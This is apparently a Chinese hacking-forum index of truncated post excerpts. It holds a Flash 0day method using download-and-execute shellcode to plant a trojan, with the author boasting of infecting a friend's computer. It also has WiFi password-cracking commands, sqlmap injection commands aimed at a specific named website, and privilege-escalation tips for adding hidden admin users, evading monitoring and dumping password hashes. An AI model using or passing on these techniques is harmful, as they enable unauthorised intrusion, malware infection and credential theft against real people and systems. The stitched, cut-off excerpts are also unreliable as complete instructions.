flash oday利用
思路：
msf生成shellcode（exec下载者的，利用win下某漏洞）
然后把源码弹出计算机那段换成自己的exe文件
shellcode执行之后会下载exe文件，然后就中马~
当时测试成功了，把某基友电脑玩爆了~
修改地址：ShellWin32.as
shellcode原来代码：
0x83EC8B55, 0x5153ACC4, 0x058B6457, 0x00000030, 0x8B0C408B, 0x008B0C40, 0x588B008B, 0x03D88918,
低调点扫描器v1.2版本 已更新 更多功能！Web安全扫描器
------------------------------------------------------------------------------
软件介绍
本软件是一款为白帽子提供网站安全检测的软件，软件完全免费,您可以使用本软件对站点进行分析，从侧面来帮助您获得更多信息， 软件使用过程中可能部分杀毒软件提示访问不安全的网站，以及上传信息，该操作为第三方站点查询主机位置所导致，本软件不含任何后门，请放心使用！
一、软件功能
1.查询旁站域名，快速查询网站信息
2.目录扫描，...
【原创】利用kali破解wifi密码全过程
工具：
1：笔记本
2：USB无线网卡（必备）
3：kali系统
4：靠谱字典
第一种方法：
暴力破解法
何为暴力破解呢，其实就是一个一个密码试，直到正确的密码为止。
现在的wifi一般加密都是：
1、不启用安全????2、WEP????
3、WPA/WPA2-PSK（预共享密钥）????
4、WPA/WPA2 802.1X （radius认证）
进入正题：
第一步：
进入kali启动终端输入如下：
root@kali:~# airmon-ng
看看网卡信息
第二步：
输入：
airmon-ng start wlan0
监听窗口
第三步：
输入：
airodump-ng mon0
扫描wifi信号
这里我用...
我的sqlmap笔记
1.SQLMAP用于Access数据库注入
(1)猜解是否能注入
win: python sqlmap.py -u 'http://www.stronkin.com/en/CompHonorBig.asp?id=7'
Linux : ./sqlmap.py -u 'http://www.stronkin.com/en/CompHonorBig.asp?id=7'
(2)猜解表
win: python sqlmap.py -u 'http://www.stronkin...
SQLMAP 注入命令的使用方法
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称
sqlmap -u “http://www.url.com/news?id=1″ –current-db #获取当前数 据库名称
sqlmap -u “http://www.URL.com/news?id=1″ –tables -D “db_name”#列 表名
sqlmap -u “http://url/news?id=1″ –columns...
猫客工作室提权笔记
【提权技巧】
1.cmd拒绝访问就自己上传一个cmd.exe，自己上传的cmd是不限制后缀的，还可以是cmd.com cmd.txt cmd.rar
2.net user不能执行有时候是net.exe被删除了，可以先试试net1，不行就自己上传一个net.exe
3.cmd执行exp没回显的解决方法：com路径那里输入exp路径C:\RECYCLER\pr.exe，命令那里清空(包括/c )输入”net user jianmei daxia /add”
4.有时候因为监控而添加用户失败，试试上传“PwDump7 破解当前管理密码(hash值)”俩个都上传，执行PwDump7.exe就可
联系客服
